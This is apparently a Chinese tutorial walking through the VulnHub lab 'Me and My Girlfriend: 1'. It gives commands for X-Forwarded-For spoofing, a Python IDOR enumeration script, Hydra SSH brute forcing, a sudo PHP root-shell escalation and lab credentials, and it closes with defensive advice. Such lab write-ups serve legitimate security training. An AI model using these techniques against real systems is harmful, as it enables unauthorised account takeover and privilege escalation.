VulnHub靶机 Me and My Girlfriend: 1 实战:3步利用越权漏洞获取SSH凭证

📅 2026/7/11 13:23:18 👁️ 阅读次数 📝 编程学习
VulnHub靶机 Me and My Girlfriend: 1 实战:3步利用越权漏洞获取SSH凭证

VulnHub靶机实战:越权漏洞与SSH凭证获取的三步攻击链

靶机渗透测试的核心逻辑

在网络安全实战中,越权漏洞(IDOR)常被忽视却危害巨大。以VulnHub靶机"Me and My Girlfriend: 1"为例,我们可构建一条从Web漏洞到系统权限的完整攻击链。不同于常规的漏洞扫描,这种组合攻击更贴近真实渗透场景。

关键攻击阶段

  1. 伪造客户端IP绕过访问限制
  2. 利用IDOR漏洞枚举用户凭证
  3. 通过凭证复用获取SSH访问权限

1. 环境侦察与访问控制绕过

1.1 靶机发现与端口扫描

使用Nmap进行基础网络侦察:

nmap -sn 192.168.183.0/24 -oG -

发现靶机IP后,进行服务扫描:

nmap -sV 192.168.183.135

典型输出显示开放80(HTTP)和22(SSH)端口。

1.2 HTTP头注入绕过地域限制

当访问Web服务出现本地限制提示时,可通过Burp Suite修改请求头:

X-Forwarded-For: 127.0.0.1

或使用cURL直接测试:

curl -H "X-Forwarded-For: 127.0.0.1" http://192.168.183.135

注意:现代系统应使用Forwarded标准头,但旧系统仍广泛使用非标准的X-Forwarded-For

2. 越权漏洞深度利用

2.1 基础账户注册与测试

  1. 注册测试账户(如hacker/123)
  2. 登录后观察URL中的用户ID参数(如user_id=2

2.2 IDOR漏洞验证

修改用户ID参数访问其他用户信息:

http://192.168.183.135/profile?user_id=1

漏洞特征对比表

正常行为存在漏洞表现
返回403错误返回目标用户数据
显示空白页面显示完整用户资料
跳转登录页保持当前会话

2.3 自动化凭证收集

使用Python脚本批量获取用户信息:

import requests base_url = "http://192.168.183.135/profile?user_id=" headers = {"X-Forwarded-For": "127.0.0.1"} for user_id in range(1,10): response = requests.get(f"{base_url}{user_id}", headers=headers) if response.status_code == 200: print(f"[+] User {user_id}: {response.text}")

3. 凭证复用与权限提升

3.1 SSH爆破实战

从收集到的用户信息中提取可能的账号密码组合:

alice:4lic3 abdikasepak:dorrrrr

使用Hydra进行SSH爆破:

hydra -L users.txt -P passwords.txt ssh://192.168.183.135 -t 4

3.2 成功登录后的操作

获取初始shell后:

ssh alice@192.168.183.135

执行基础信息收集:

find / -name "*flag*" 2>/dev/null sudo -l

3.3 通过PHP实现权限提升

当发现sudo权限配置不当:

User alice may run the following commands on target: (ALL) NOPASSWD: /usr/bin/php

利用PHP执行系统命令:

sudo php -r "system('/bin/bash');"

权限提升方法对比

方法适用场景风险等级
Sudo滥用配置错误
SUID滥用错误权限
内核漏洞未打补丁

防御措施与检测方案

开发层面

  1. 实施严格的权限验证(如RBAC)
  2. 使用UUID替代自增ID
  3. 添加资源访问日志审计

运维层面

# 监控异常sudo使用 grep sudo /var/log/auth.log | grep -v "COMMAND" # 检查SSH爆破尝试 grep "Failed password" /var/log/auth.log

攻击链可视化

  1. 信息收集→ 2.漏洞利用→ 3.横向移动→ 4.权限提升

每个阶段应保留完整操作记录,建议使用如下命令记录会话:

script -q -c "命令" session.log

在真实渗透测试中,这种组合攻击成功率往往高于单一漏洞利用。关键在于理解业务逻辑与权限体系的薄弱环节,而非依赖自动化工具。